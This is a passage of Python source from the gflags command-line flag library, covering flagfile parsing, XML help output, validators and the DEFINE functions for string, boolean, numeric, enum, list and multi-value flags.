flagfile_str.startswith('--flagfile='): return os.path.expanduser((flagfile_str[(len('--flagfile=')):]).strip()) elif flagfile_str.startswith('-flagfile='): return os.path.expanduser((flagfile_str[(len('-flagfile=')):]).strip()) else: raise FlagsError('Hit illegal --flagfile type: %s' % flagfile_str) def __GetFlagFileLines(self, filename, parsed_file_list): """Returns the useful (!=comments, etc) lines from a file with flags. Args: filename: A string, the name of the flag file. parsed_file_list: A list of the names of the files we have already read. MUTATED BY THIS FUNCTION. Returns: List of strings. See the note below. NOTE(springer): This function checks for a nested --flagfile=<foo> tag and handles the lower file recursively. It returns a list of all the lines that _could_ contain command flags. This is EVERYTHING except whitespace lines and comments (lines starting with '#' or '//'). """ line_list = [] # All line from flagfile. flag_line_list = [] # Subset of lines w/o comments, blanks, flagfile= tags. try: file_obj = open(filename, 'r') except IOError as e_msg: raise CantOpenFlagFileError('ERROR:: Unable to open flagfile: %s' % e_msg) line_list = file_obj.readlines() file_obj.close() parsed_file_list.append(filename) # This is where we check each line in the file we just read. for line in line_list: if line.isspace(): pass # Checks for comment (a line that starts with '#'). elif line.startswith('#') or line.startswith('//'): pass # Checks for a nested "--flagfile=<bar>" flag in the current file. # If we find one, recursively parse down into that file. elif self.__IsFlagFileDirective(line): sub_filename = self.ExtractFilename(line) # We do a little safety check for reparsing a file we've already done. if not sub_filename in parsed_file_list: included_flags = self.__GetFlagFileLines(sub_filename, parsed_file_list) flag_line_list.extend(included_flags) else: # Case of hitting a circularly included file. sys.stderr.write('Warning: Hit circular flagfile dependency: %s\n' % (sub_filename,)) else: # Any line that's not a comment or a nested flagfile should get # copied into 2nd position. This leaves earlier arguments # further back in the list, thus giving them higher priority. flag_line_list.append(line.strip()) return flag_line_list def ReadFlagsFromFiles(self, argv, force_gnu=True): """Processes command line args, but also allow args to be read from file. Args: argv: A list of strings, usually sys.argv[1:], which may contain one or more flagfile directives of the form --flagfile="./filename". Note that the name of the program (sys.argv[0]) should be omitted. force_gnu: If False, --flagfile parsing obeys normal flag semantics. If True, --flagfile parsing instead follows gnu_getopt semantics. *** WARNING *** force_gnu=False may become the future default! Returns: A new list which has the original list combined with what we read from any flagfile(s). References: Global gflags.FLAG class instance. This function should be called before the normal FLAGS(argv) call. This function scans the input list for a flag that looks like: --flagfile=<somefile>. Then it opens <somefile>, reads all valid key and value pairs and inserts them into the input list between the first item of the list and any subsequent items in the list. Note that your application's flags are still defined the usual way using gflags DEFINE_flag() type functions. Notes (assuming we're getting a commandline of some sort as our input): --> Flags from the command line argv _should_ always take precedence! --> A further "--flagfile=<otherfile.cfg>" CAN be nested in a flagfile. It will be processed after the parent flag file is done. --> For duplicate flags, first one we hit should "win". --> In a flagfile, a line beginning with # or // is a comment. --> Entirely blank lines _should_ be ignored. """ parsed_file_list = [] rest_of_args = argv new_argv = [] while rest_of_args: current_arg = rest_of_args[0] rest_of_args = rest_of_args[1:] if self.__IsFlagFileDirective(current_arg): # This handles the case of -(-)flagfile foo. In this case the # next arg really is part of this one. if current_arg == '--flagfile' or current_arg == '-flagfile': if not rest_of_args: raise IllegalFlagValue('--flagfile with no argument') flag_filename = os.path.expanduser(rest_of_args[0]) rest_of_args = rest_of_args[1:] else: # This handles the case of (-)-flagfile=foo. flag_filename = self.ExtractFilename(current_arg) new_argv.extend( self.__GetFlagFileLines(flag_filename, parsed_file_list)) else: new_argv.append(current_arg) # Stop parsing after '--', like getopt and gnu_getopt. if current_arg == '--': break # Stop parsing after a non-flag, like getopt. if not current_arg.startswith('-'): if not force_gnu and not self.__dict__['__use_gnu_getopt']: break if rest_of_args: new_argv.extend(rest_of_args) return new_argv def FlagsIntoString(self): """Returns a string with the flags assignments from this FlagValues object. This function ignores flags whose value is None. Each flag assignment is separated by a newline. NOTE: MUST mirror the behavior of the C++ CommandlineFlagsIntoString from http://code.google.com/p/google-gflags """ s = '' for flag in list(self.FlagDict().values()): if flag.value is not None: s += flag.Serialize() + '\n' return s def AppendFlagsIntoFile(self, filename): """Appends all flags assignments from this FlagInfo object to a file. Output will be in the format of a flagfile. NOTE: MUST mirror the behavior of the C++ AppendFlagsIntoFile from http://code.google.com/p/google-gflags """ out_file = open(filename, 'a') out_file.write(self.FlagsIntoString()) out_file.close() def WriteHelpInXMLFormat(self, outfile=None): """Outputs flag documentation in XML format. NOTE: We use element names that are consistent with those used by the C++ command-line flag library, from http://code.google.com/p/google-gflags We also use a few new elements (e.g., <key>), but we do not interfere / overlap with existing XML elements used by the C++ library. Please maintain this consistency. Args: outfile: File object we write to. Default None means sys.stdout. """ outfile = outfile or sys.stdout outfile.write('<?xml version=\"1.0\"?>\n') outfile.write('<AllFlags>\n') indent = ' ' _WriteSimpleXMLElement(outfile, 'program', os.path.basename(sys.argv[0]), indent) usage_doc = sys.modules['__main__'].__doc__ if not usage_doc: usage_doc = '\nUSAGE: %s [flags]\n' % sys.argv[0] else: usage_doc = usage_doc.replace('%s', sys.argv[0]) _WriteSimpleXMLElement(outfile, 'usage', usage_doc, indent) # Get list of key flags for the main module. key_flags = self._GetKeyFlagsForModule(_GetMainModule()) # Sort flags by declaring module name and next by flag name. flags_by_module = self.FlagsByModuleDict() all_module_names = list(flags_by_module.keys()) all_module_names.sort() for module_name in all_module_names: flag_list = [(f.name, f) for f in flags_by_module[module_name]] flag_list.sort() for unused_flag_name, flag in flag_list: is_key = flag in key_flags flag.WriteInfoInXMLFormat(outfile, module_name, is_key=is_key, indent=indent) outfile.write('</AllFlags>\n') outfile.flush() def AddValidator(self, validator): """Register new flags validator to be checked. Args: validator: gflags_validators.Validator Raises: AttributeError: if validators work with a non-existing flag. """ for flag_name in validator.GetFlagsNames(): flag = self.FlagDict()[flag_name] flag.validators.append(validator) # end of FlagValues definition # The global FlagValues instance FLAGS = FlagValues() def _StrOrUnicode(value): """Converts value to a python string or, if necessary, unicode-string.""" try: return str(value) except UnicodeEncodeError: return str(value) def _MakeXMLSafe(s): """Escapes <, >, and & from s, and removes XML 1.0-illegal chars.""" s = cgi.escape(s) # Escape <, >, and & # Remove characters that cannot appear in an XML 1.0 document # (http://www.w3.org/TR/REC-xml/#charsets). # # NOTE: if there are problems with current solution, one may move to # XML 1.1, which allows such chars, if they're entity-escaped (&#xHH;). s = re.sub(r'[\x00-\x08\x0b\x0c\x0e-\x1f]', '', s) # Convert non-ascii characters to entities. Note: requires python >=2.3 s = s.encode('ascii', 'xmlcharrefreplace') # u'\xce\x88' -> 'u&#904;' return s def _WriteSimpleXMLElement(outfile, name, value, indent): """Writes a simple XML element. Args: outfile: File object we write the XML element to. name: A string, the name of XML element. value: A Python object, whose string representation will be used as the value of the XML element. indent: A string, prepended to each line of generated output. """ value_str = _StrOrUnicode(value) if isinstance(value, bool): # Display boolean values as the C++ flag library does: no caps. value_str = value_str.lower() safe_value_str = _MakeXMLSafe(value_str) outfile.write('%s<%s>%s</%s>\n' % (indent, name, safe_value_str, name)) class Flag(object): """Information about a command-line flag. 'Flag' objects define the following fields: .name - the name for this flag .default - the default value for this flag .default_as_str - default value as repr'd string, e.g., "'true'" (or None) .value - the most recent parsed value of this flag; set by Parse() .help - a help string or None if no help is available .short_name - the single letter alias for this flag (or None) .boolean - if 'true', this flag does not accept arguments .present - true if this flag was parsed from command line flags. .parser - an ArgumentParser object .serializer - an ArgumentSerializer object .allow_override - the flag may be redefined without raising an error The only public method of a 'Flag' object is Parse(), but it is typically only called by a 'FlagValues' object. The Parse() method is a thin wrapper around the 'ArgumentParser' Parse() method. The parsed value is saved in .value, and the .present attribute is updated. If this flag was already present, a FlagsError is raised. Parse() is also called during __init__ to parse the default value and initialize the .value attribute. This enables other python modules to safely use flags even if the __main__ module neglects to parse the command line arguments. The .present attribute is cleared after __init__ parsing. If the default value is set to None, then the __init__ parsing step is skipped and the .value attribute is initialized to None. Note: The default value is also presented to the user in the help string, so it is important that it be a legal value for this flag. """ def __init__(self, parser, serializer, name, default, help_string, short_name=None, boolean=0, allow_override=0): self.name = name if not help_string: help_string = '(no help available)' self.help = help_string self.short_name = short_name self.boolean = boolean self.present = 0 self.parser = parser self.serializer = serializer self.allow_override = allow_override self.value = None self.validators = [] self.SetDefault(default) def __hash__(self): return hash(id(self)) def __eq__(self, other): return self is other def __lt__(self, other): if isinstance(other, Flag): return id(self) < id(other) return NotImplemented def __GetParsedValueAsString(self, value): if value is None: return None if self.serializer: return repr(self.serializer.Serialize(value)) if self.boolean: if value: return repr('true') else: return repr('false') return repr(_StrOrUnicode(value)) def Parse(self, argument): try: self.value = self.parser.Parse(argument) except ValueError as e: # recast ValueError as IllegalFlagValue raise IllegalFlagValue("flag --%s=%s: %s" % (self.name, argument, e)) self.present += 1 def Unparse(self): if self.default is None: self.value = None else: self.Parse(self.default) self.present = 0 def Serialize(self): if self.value is None: return '' if self.boolean: if self.value: return "--%s" % self.name else: return "--no%s" % self.name else: if not self.serializer: raise FlagsError("Serializer not present for flag %s" % self.name) return "--%s=%s" % (self.name, self.serializer.Serialize(self.value)) def SetDefault(self, value): """Changes the default value (and current value too) for this Flag.""" # We can't allow a None override because it may end up not being # passed to C++ code when we're overriding C++ flags. So we # cowardly bail out until someone fixes the semantics of trying to # pass None to a C++ flag. See swig_flags.Init() for details on # this behavior. # TODO(olexiy): Users can directly call this method, bypassing all flags # validators (we don't have FlagValues here, so we can not check # validators). # The simplest solution I see is to make this method private. # Another approach would be to store reference to the corresponding # FlagValues with each flag, but this seems to be an overkill. if value is None and self.allow_override: raise DuplicateFlagCannotPropagateNoneToSwig(self.name) self.default = value self.Unparse() self.default_as_str = self.__GetParsedValueAsString(self.value) def Type(self): """Returns: a string that describes the type of this Flag.""" # NOTE: we use strings, and not the types.*Type constants because # our flags can have more exotic types, e.g., 'comma separated list # of strings', 'whitespace separated list of strings', etc. return self.parser.Type() def WriteInfoInXMLFormat(self, outfile, module_name, is_key=False, indent=''): """Writes common info about this flag, in XML format. This is information that is relevant to all flags (e.g., name, meaning, etc.). If you defined a flag that has some other pieces of info, then please override _WriteCustomInfoInXMLFormat. Please do NOT override this method. Args: outfile: File object we write to. module_name: A string, the name of the module that defines this flag. is_key: A boolean, True iff this flag is key for main module. indent: A string that is prepended to each generated line. """ outfile.write(indent + '<flag>\n') inner_indent = indent + ' ' if is_key: _WriteSimpleXMLElement(outfile, 'key', 'yes', inner_indent) _WriteSimpleXMLElement(outfile, 'file', module_name, inner_indent) # Print flag features that are relevant for all flags. _WriteSimpleXMLElement(outfile, 'name', self.name, inner_indent) if self.short_name: _WriteSimpleXMLElement(outfile, 'short_name', self.short_name, inner_indent) if self.help: _WriteSimpleXMLElement(outfile, 'meaning', self.help, inner_indent) # The default flag value can either be represented as a string like on the # command line, or as a Python object. We serialize this value in the # latter case in order to remain consistent. if self.serializer and not isinstance(self.default, str): default_serialized = self.serializer.Serialize(self.default) else: default_serialized = self.default _WriteSimpleXMLElement(outfile, 'default', default_serialized, inner_indent) _WriteSimpleXMLElement(outfile, 'current', self.value, inner_indent) _WriteSimpleXMLElement(outfile, 'type', self.Type(), inner_indent) # Print extra flag features this flag may have. self._WriteCustomInfoInXMLFormat(outfile, inner_indent) outfile.write(indent + '</flag>\n') def _WriteCustomInfoInXMLFormat(self, outfile, indent): """Writes extra info about this flag, in XML format. "Extra" means "not already printed by WriteInfoInXMLFormat above." Args: outfile: File object we write to. indent: A string that is prepended to each generated line. """ # Usually, the parser knows the extra details about the flag, so # we just forward the call to it. self.parser.WriteCustomInfoInXMLFormat(outfile, indent) # End of Flag definition class _ArgumentParserCache(type): """Metaclass used to cache and share argument parsers among flags.""" _instances = {} def __call__(mcs, *args, **kwargs): """Returns an instance of the argument parser cls. This method overrides behavior of the __new__ methods in all subclasses of ArgumentParser (inclusive). If an instance for mcs with the same set of arguments exists, this instance is returned, otherwise a new instance is created. If any keyword arguments are defined, or the values in args are not hashable, this method always returns a new instance of cls. Args: args: Positional initializer arguments. kwargs: Initializer keyword arguments. Returns: An instance of cls, shared or new. """ if kwargs: return type.__call__(mcs, *args, **kwargs) else: instances = mcs._instances key = (mcs,) + tuple(args) try: return instances[key] except KeyError: # No cache entry for key exists, create a new one. return instances.setdefault(key, type.__call__(mcs, *args)) except TypeError: # An object in args cannot be hashed, always return # a new instance. return type.__call__(mcs, *args) class ArgumentParser(with_metaclass(_ArgumentParserCache, object)): """Base class used to parse and convert arguments. The Parse() method checks to make sure that the string argument is a legal value and convert it to a native type. If the value cannot be converted, it should throw a 'ValueError' exception with a human readable explanation of why the value is illegal. Subclasses should also define a syntactic_help string which may be presented to the user to describe the form of the legal values. Argument parser classes must be stateless, since instances are cached and shared between flags. Initializer arguments are allowed, but all member variables must be derived from initializer arguments only. """ syntactic_help = "" def Parse(self, argument): """Default implementation: always returns its argument unmodified.""" return argument def Type(self): return 'string' def WriteCustomInfoInXMLFormat(self, outfile, indent): pass class ArgumentSerializer(object): """Base class for generating string representations of a flag value.""" def Serialize(self, value): return _StrOrUnicode(value) class ListSerializer(ArgumentSerializer): def __init__(self, list_sep): self.list_sep = list_sep def Serialize(self, value): return self.list_sep.join([_StrOrUnicode(x) for x in value]) # Flags validators def RegisterValidator(flag_name, checker, message='Flag validation failed', flag_values=FLAGS): """Adds a constraint, which will be enforced during program execution. The constraint is validated when flags are initially parsed, and after each change of the corresponding flag's value. Args: flag_name: string, name of the flag to be checked. checker: method to validate the flag. input - value of the corresponding flag (string, boolean, etc. This value will be passed to checker by the library). See file's docstring for examples. output - Boolean. Must return True if validator constraint is satisfied. If constraint is not satisfied, it should either return False or raise gflags_validators.Error(desired_error_message). message: error text to be shown to the user if checker returns False. If checker raises gflags_validators.Error, message from the raised Error will be shown. flag_values: FlagValues Raises: AttributeError: if flag_name is not registered as a valid flag name. """ flag_values.AddValidator(gflags_validators.SimpleValidator(flag_name, checker, message)) def MarkFlagAsRequired(flag_name, flag_values=FLAGS): """Ensure that flag is not None during program execution. Registers a flag validator, which will follow usual validator rules. Args: flag_name: string, name of the flag flag_values: FlagValues Raises: AttributeError: if flag_name is not registered as a valid flag name. """ RegisterValidator(flag_name, lambda value: value is not None, message='Flag --%s must be specified.' % flag_name, flag_values=flag_values) def _RegisterBoundsValidatorIfNeeded(parser, name, flag_values): """Enforce lower and upper bounds for numeric flags. Args: parser: NumericParser (either FloatParser or IntegerParser). Provides lower and upper bounds, and help text to display. name: string, name of the flag flag_values: FlagValues """ if parser.lower_bound is not None or parser.upper_bound is not None: def Checker(value): if value is not None and parser.IsOutsideBounds(value): message = '%s is not %s' % (value, parser.syntactic_help) raise gflags_validators.Error(message) return True RegisterValidator(name, Checker, flag_values=flag_values) # The DEFINE functions are explained in mode details in the module doc string. def DEFINE(parser, name, default, help, flag_values=FLAGS, serializer=None, **args): """Registers a generic Flag object. NOTE: in the docstrings of all DEFINE* functions, "registers" is short for "creates a new flag and registers it". Auxiliary function: clients should use the specialized DEFINE_<type> function instead. Args: parser: ArgumentParser that is used to parse the flag arguments. name: A string, the flag name. default: The default value of the flag. help: A help string. flag_values: FlagValues object the flag will be registered with. serializer: ArgumentSerializer that serializes the flag value. args: Dictionary with extra keyword args that are passes to the Flag __init__. """ DEFINE_flag(Flag(parser, serializer, name, default, help, **args), flag_values) def DEFINE_flag(flag, flag_values=FLAGS): """Registers a 'Flag' object with a 'FlagValues' object. By default, the global FLAGS 'FlagValue' object is used. Typical users will use one of the more specialized DEFINE_xxx functions, such as DEFINE_string or DEFINE_integer. But developers who need to create Flag objects themselves should use this function to register their flags. """ # copying the reference to flag_values prevents pychecker warnings fv = flag_values fv[flag.name] = flag # Tell flag_values who's defining the flag. if isinstance(flag_values, FlagValues): # Regarding the above isinstance test: some users pass funny # values of flag_values (e.g., {}) in order to avoid the flag # registration (in the past, there used to be a flag_values == # FLAGS test here) and redefine flags with the same name (e.g., # debug). To avoid breaking their code, we perform the # registration only if flag_values is a real FlagValues object. module, module_name = _GetCallingModuleObjectAndName() flag_values._RegisterFlagByModule(module_name, flag) flag_values._RegisterFlagByModuleId(id(module), flag) def _InternalDeclareKeyFlags(flag_names, flag_values=FLAGS, key_flag_values=None): """Declares a flag as key for the calling module. Internal function. User code should call DECLARE_key_flag or ADOPT_module_key_flags instead. Args: flag_names: A list of strings that are names of already-registered Flag objects. flag_values: A FlagValues object that the flags listed in flag_names have registered with (the value of the flag_values argument from the DEFINE_* calls that defined those flags). This should almost never need to be overridden. key_flag_values: A FlagValues object that (among possibly many other things) keeps track of the key flags for each module. Default None means "same as flag_values". This should almost never need to be overridden. Raises: UnrecognizedFlagError: when we refer to a flag that was not defined yet. """ key_flag_values = key_flag_values or flag_values module = _GetCallingModule() for flag_name in flag_names: if flag_name not in flag_values: raise UnrecognizedFlagError(flag_name) flag = flag_values.FlagDict()[flag_name] key_flag_values._RegisterKeyFlagForModule(module, flag) def DECLARE_key_flag(flag_name, flag_values=FLAGS): """Declares one flag as key to the current module. Key flags are flags that are deemed really important for a module. They are important when listing help messages; e.g., if the --helpshort command-line flag is used, then only the key flags of the main module are listed (instead of all flags, as in the case of --help). Sample usage: gflags.DECLARED_key_flag('flag_1') Args: flag_name: A string, the name of an already declared flag. (Redeclaring flags as key, including flags implicitly key because they were declared in this module, is a no-op.) flag_values: A FlagValues object. This should almost never need to be overridden. """ if flag_name in _SPECIAL_FLAGS: # Take care of the special flags, e.g., --flagfile, --undefok. # These flags are defined in _SPECIAL_FLAGS, and are treated # specially during flag parsing, taking precedence over the # user-defined flags. _InternalDeclareKeyFlags([flag_name], flag_values=_SPECIAL_FLAGS, key_flag_values=flag_values) return _InternalDeclareKeyFlags([flag_name], flag_values=flag_values) def ADOPT_module_key_flags(module, flag_values=FLAGS): """Declares that all flags key to a module are key to the current module. Args: module: A module object. flag_values: A FlagValues object. This should almost never need to be overridden. Raises: FlagsError: When given an argument that is a module name (a string), instead of a module object. """ # NOTE(salcianu): an even better test would be if not # isinstance(module, types.ModuleType) but I didn't want to import # types for such a tiny use. if isinstance(module, str): raise FlagsError('Received module name %s; expected a module object.' % module) _InternalDeclareKeyFlags( [f.name for f in flag_values._GetKeyFlagsForModule(module.__name__)], flag_values=flag_values) # If module is this flag module, take _SPECIAL_FLAGS into account. if module == _GetThisModuleObjectAndName()[0]: _InternalDeclareKeyFlags( # As we associate flags with _GetCallingModuleObjectAndName(), the # special flags defined in this module are incorrectly registered with # a different module. So, we can't use _GetKeyFlagsForModule. # Instead, we take all flags from _SPECIAL_FLAGS (a private # FlagValues, where no other module should register flags). [f.name for f in list(_SPECIAL_FLAGS.FlagDict().values())], flag_values=_SPECIAL_FLAGS, key_flag_values=flag_values) # # STRING FLAGS # def DEFINE_string(name, default, help, flag_values=FLAGS, **args): """Registers a flag whose value can be any string.""" parser = ArgumentParser() serializer = ArgumentSerializer() DEFINE(parser, name, default, help, flag_values, serializer, **args) # # BOOLEAN FLAGS # class BooleanParser(ArgumentParser): """Parser of boolean values.""" def Convert(self, argument): """Converts the argument to a boolean; raise ValueError on errors.""" if type(argument) == str: if argument.lower() in ['true', 't', '1']: return True elif argument.lower() in ['false', 'f', '0']: return False bool_argument = bool(argument) if argument == bool_argument: # The argument is a valid boolean (True, False, 0, or 1), and not just # something that always converts to bool (list, string, int, etc.). return bool_argument raise ValueError('Non-boolean argument to boolean flag', argument) def Parse(self, argument): val = self.Convert(argument) return val def Type(self): return 'bool' class BooleanFlag(Flag): """Basic boolean flag. Boolean flags do not take any arguments, and their value is either True (1) or False (0). The false value is specified on the command line by prepending the word 'no' to either the long or the short flag name. For example, if a Boolean flag was created whose long name was 'update' and whose short name was 'x', then this flag could be explicitly unset through either --noupdate or --nox. """ def __init__(self, name, default, help, short_name=None, **args): p = BooleanParser() Flag.__init__(self, p, None, name, default, help, short_name, 1, **args) if not self.help: self.help = "a boolean value" def DEFINE_boolean(name, default, help, flag_values=FLAGS, **args): """Registers a boolean flag. Such a boolean flag does not take an argument. If a user wants to specify a false value explicitly, the long option beginning with 'no' must be used: i.e. --noflag This flag will have a value of None, True or False. None is possible if default=None and the user does not specify the flag on the command line. """ DEFINE_flag(BooleanFlag(name, default, help, **args), flag_values) # Match C++ API to unconfuse C++ people. DEFINE_bool = DEFINE_boolean class HelpFlag(BooleanFlag): """ HelpFlag is a special boolean flag that prints usage information and raises a SystemExit exception if it is ever found in the command line arguments. Note this is called with allow_override=1, so other apps can define their own --help flag, replacing this one, if they want. """ def __init__(self): BooleanFlag.__init__(self, "help", 0, "show this help", short_name="?", allow_override=1) def Parse(self, arg): if arg: doc = sys.modules["__main__"].__doc__ flags = str(FLAGS) print(doc or ("\nUSAGE: %s [flags]\n" % sys.argv[0])) if flags: print("flags:") print(flags) sys.exit(1) class HelpXMLFlag(BooleanFlag): """Similar to HelpFlag, but generates output in XML format.""" def __init__(self): BooleanFlag.__init__(self, 'helpxml', False, 'like --help, but generates XML output', allow_override=1) def Parse(self, arg): if arg: FLAGS.WriteHelpInXMLFormat(sys.stdout) sys.exit(1) class HelpshortFlag(BooleanFlag): """ HelpshortFlag is a special boolean flag that prints usage information for the "main" module, and rasies a SystemExit exception if it is ever found in the command line arguments. Note this is called with allow_override=1, so other apps can define their own --helpshort flag, replacing this one, if they want. """ def __init__(self): BooleanFlag.__init__(self, "helpshort", 0, "show usage only for this module", allow_override=1) def Parse(self, arg): if arg: doc = sys.modules["__main__"].__doc__ flags = FLAGS.MainModuleHelp() print(doc or ("\nUSAGE: %s [flags]\n" % sys.argv[0])) if flags: print("flags:") print(flags) sys.exit(1) # # Numeric parser - base class for Integer and Float parsers # class NumericParser(ArgumentParser): """Parser of numeric values. Parsed value may be bounded to a given upper and lower bound. """ def IsOutsideBounds(self, val): return ((self.lower_bound is not None and val < self.lower_bound) or (self.upper_bound is not None and val > self.upper_bound)) def Parse(self, argument): val = self.Convert(argument) if self.IsOutsideBounds(val): raise ValueError("%s is not %s" % (val, self.syntactic_help)) return val def WriteCustomInfoInXMLFormat(self, outfile, indent): if self.lower_bound is not None: _WriteSimpleXMLElement(outfile, 'lower_bound', self.lower_bound, indent) if self.upper_bound is not None: _WriteSimpleXMLElement(outfile, 'upper_bound', self.upper_bound, indent) def Convert(self, argument): """Default implementation: always returns its argument unmodified.""" return argument # End of Numeric Parser # # FLOAT FLAGS # class FloatParser(NumericParser): """Parser of floating point values. Parsed value may be bounded to a given upper and lower bound. """ number_article = "a" number_name = "number" syntactic_help = " ".join((number_article, number_name)) def __init__(self, lower_bound=None, upper_bound=None): super(FloatParser, self).__init__() self.lower_bound = lower_bound self.upper_bound = upper_bound sh = self.syntactic_help if lower_bound is not None and upper_bound is not None: sh = ("%s in the range [%s, %s]" % (sh, lower_bound, upper_bound)) elif lower_bound == 0: sh = "a non-negative %s" % self.number_name elif upper_bound == 0: sh = "a non-positive %s" % self.number_name elif upper_bound is not None: sh = "%s <= %s" % (self.number_name, upper_bound) elif lower_bound is not None: sh = "%s >= %s" % (self.number_name, lower_bound) self.syntactic_help = sh def Convert(self, argument): """Converts argument to a float; raises ValueError on errors.""" return float(argument) def Type(self): return 'float' # End of FloatParser def DEFINE_float(name, default, help, lower_bound=None, upper_bound=None, flag_values=FLAGS, **args): """Registers a flag whose value must be a float. If lower_bound or upper_bound are set, then this flag must be within the given range. """ parser = FloatParser(lower_bound, upper_bound) serializer = ArgumentSerializer() DEFINE(parser, name, default, help, flag_values, serializer, **args) _RegisterBoundsValidatorIfNeeded(parser, name, flag_values=flag_values) # # INTEGER FLAGS # class IntegerParser(NumericParser): """Parser of an integer value. Parsed value may be bounded to a given upper and lower bound. """ number_article = "an" number_name = "integer" syntactic_help = " ".join((number_article, number_name)) def __init__(self, lower_bound=None, upper_bound=None): super(IntegerParser, self).__init__() self.lower_bound = lower_bound self.upper_bound = upper_bound sh = self.syntactic_help if lower_bound is not None and upper_bound is not None: sh = ("%s in the range [%s, %s]" % (sh, lower_bound, upper_bound)) elif lower_bound == 1: sh = "a positive %s" % self.number_name elif upper_bound == -1: sh = "a negative %s" % self.number_name elif lower_bound == 0: sh = "a non-negative %s" % self.number_name elif upper_bound == 0: sh = "a non-positive %s" % self.number_name elif upper_bound is not None: sh = "%s <= %s" % (self.number_name, upper_bound) elif lower_bound is not None: sh = "%s >= %s" % (self.number_name, lower_bound) self.syntactic_help = sh def Convert(self, argument): __pychecker__ = 'no-returnvalues' if type(argument) == str: base = 10 if len(argument) > 2 and argument[0] == "0" and argument[1] == "x": base = 16 return int(argument, base) else: return int(argument) def Type(self): return 'int' def DEFINE_integer(name, default, help, lower_bound=None, upper_bound=None, flag_values=FLAGS, **args): """Registers a flag whose value must be an integer. If lower_bound, or upper_bound are set, then this flag must be within the given range. """ parser = IntegerParser(lower_bound, upper_bound) serializer = ArgumentSerializer() DEFINE(parser, name, default, help, flag_values, serializer, **args) _RegisterBoundsValidatorIfNeeded(parser, name, flag_values=flag_values) # # ENUM FLAGS # class EnumParser(ArgumentParser): """Parser of a string enum value (a string value from a given set). If enum_values (see below) is not specified, any string is allowed. """ def __init__(self, enum_values=None): super(EnumParser, self).__init__() self.enum_values = enum_values def Parse(self, argument): if self.enum_values and argument not in self.enum_values: raise ValueError("value should be one of <%s>" % "|".join(self.enum_values)) return argument def Type(self): return 'string enum' class EnumFlag(Flag): """Basic enum flag; its value can be any string from list of enum_values.""" def __init__(self, name, default, help, enum_values=None, short_name=None, **args): enum_values = enum_values or [] p = EnumParser(enum_values) g = ArgumentSerializer() Flag.__init__(self, p, g, name, default, help, short_name, **args) if not self.help: self.help = "an enum string" self.help = "<%s>: %s" % ("|".join(enum_values), self.help) def _WriteCustomInfoInXMLFormat(self, outfile, indent): for enum_value in self.parser.enum_values: _WriteSimpleXMLElement(outfile, 'enum_value', enum_value, indent) def DEFINE_enum(name, default, enum_values, help, flag_values=FLAGS, **args): """Registers a flag whose value can be any string from enum_values.""" DEFINE_flag(EnumFlag(name, default, help, enum_values, ** args), flag_values) # # LIST FLAGS # class BaseListParser(ArgumentParser): """Base class for a parser of lists of strings. To extend, inherit from this class; from the subclass __init__, call BaseListParser.__init__(self, token, name) where token is a character used to tokenize, and name is a description of the separator. """ def __init__(self, token=None, name=None): assert name super(BaseListParser, self).__init__() self._token = token self._name = name self.syntactic_help = "a %s separated list" % self._name def Parse(self, argument): if isinstance(argument, list): return argument elif argument == '': return [] else: return [s.strip() for s in argument.split(self._token)] def Type(self): return '%s separated list of strings' % self._name class ListParser(BaseListParser): """Parser for a comma-separated list of strings.""" def __init__(self): BaseListParser.__init__(self, ',', 'comma') def WriteCustomInfoInXMLFormat(self, outfile, indent): BaseListParser.WriteCustomInfoInXMLFormat(self, outfile, indent) _WriteSimpleXMLElement(outfile, 'list_separator', repr(','), indent) class WhitespaceSeparatedListParser(BaseListParser): """Parser for a whitespace-separated list of strings.""" def __init__(self): BaseListParser.__init__(self, None, 'whitespace') def WriteCustomInfoInXMLFormat(self, outfile, indent): BaseListParser.WriteCustomInfoInXMLFormat(self, outfile, indent) separators = list(string.whitespace) separators.sort() for ws_char in string.whitespace: _WriteSimpleXMLElement(outfile, 'list_separator', repr(ws_char), indent) def DEFINE_list(name, default, help, flag_values=FLAGS, **args): """Registers a flag whose value is a comma-separated list of strings.""" parser = ListParser() serializer = ListSerializer(',') DEFINE(parser, name, default, help, flag_values, serializer, **args) def DEFINE_spaceseplist(name, default, help, flag_values=FLAGS, **args): """Registers a flag whose value is a whitespace-separated list of strings. Any whitespace can be used as a separator. """ parser = WhitespaceSeparatedListParser() serializer = ListSerializer(' ') DEFINE(parser, name, default, help, flag_values, serializer, **args) # # MULTI FLAGS # class MultiFlag(Flag): """A flag that can appear multiple time on the command-line. The value of such a flag is a list that contains the individual values from all the appearances of that flag on the command-line. See the __doc__ for Flag for most behavior of this class. Only differences in behavior are described here: * The default value may be either a single value or a list of values. A single value is interpreted as the [value] singleton list. * The value of the flag is always a list, even if the option was only supplied once, and even if the default value is a single value """ def __init__(self, *args, **kwargs): Flag.__init__(self, *args, **kwargs) self.help += ';\n repeat this option to specify a list of values' def Parse(self, arguments): """Parses one or more arguments with the installed parser. Args: arguments: a single argument or a list of arguments (typically a list of default values); a single argument is converted internally into a list containing one item. """ if not isinstance(arguments, list): # Default value may be a list of values. Most other arguments # will not be, so convert them into a single-item list to make # processing simpler below. arguments = [arguments] if self.present: # keep a backup reference to list of previously supplied option values values = self.value else: # "erase" the defaults with an empty list values = [] for item in arguments: # have Flag superclass parse argument, overwriting self.value reference Flag.Parse(self, item) # also increments self.present values.append(self.value) # put list of option values back in the 'value' attribute self.value = values def Serialize(self): if not self.serializer: raise FlagsError("Serializer not present for flag %s" % self.name) if self.value is None: return '' s = '' multi_value = self.value for self.value in multi_value: if s: s += ' ' s += Flag.Serialize(self) self.value = multi_value return s def Type(self): return 'multi ' + self.parser.Type() def DEFINE_multi(parser, serializer, name, default, help, flag_values=FLAGS, **args): """Registers a generic MultiFlag that parses its args with a given parser. Auxiliary function. Normal users should NOT use it directly. Developers who need to create their own 'Parser' classes for options which can appear multiple times can call this module function to register their flags. """ DEFINE_flag(MultiFlag(parser, serializer, name, default, help, **args), flag_values) def DEFINE_multistring(name, default, help, flag_values=FLAGS, **args): """Registers a flag whose value can be a list of any strings. Use the flag on the command line multiple times to place multiple string values into the list. The 'default' may be a single string (which will be converted into a single-element list) or a list of strings. """ parser = ArgumentParser() serializer = ArgumentSerializer() DEFINE_multi(parser, serializer, name, default, help, flag_values, **args) def DEFINE_multi_int(name, default, help, lower_bound=None, upper_bound=None, flag_values=FLAGS, **args): """Registers a flag whose value can be a list of arbitrary integers. Use the flag on the command line multiple times to place multiple integer values into the list. The 'default' may be a single integer (which will be converted into a single-element list) or a list of integers. """ parser = IntegerParser(lower_bound, upper_bound) serializer = ArgumentSerializer() DEFINE_multi(parser, serializer, name, default, help, flag_values, **args) def 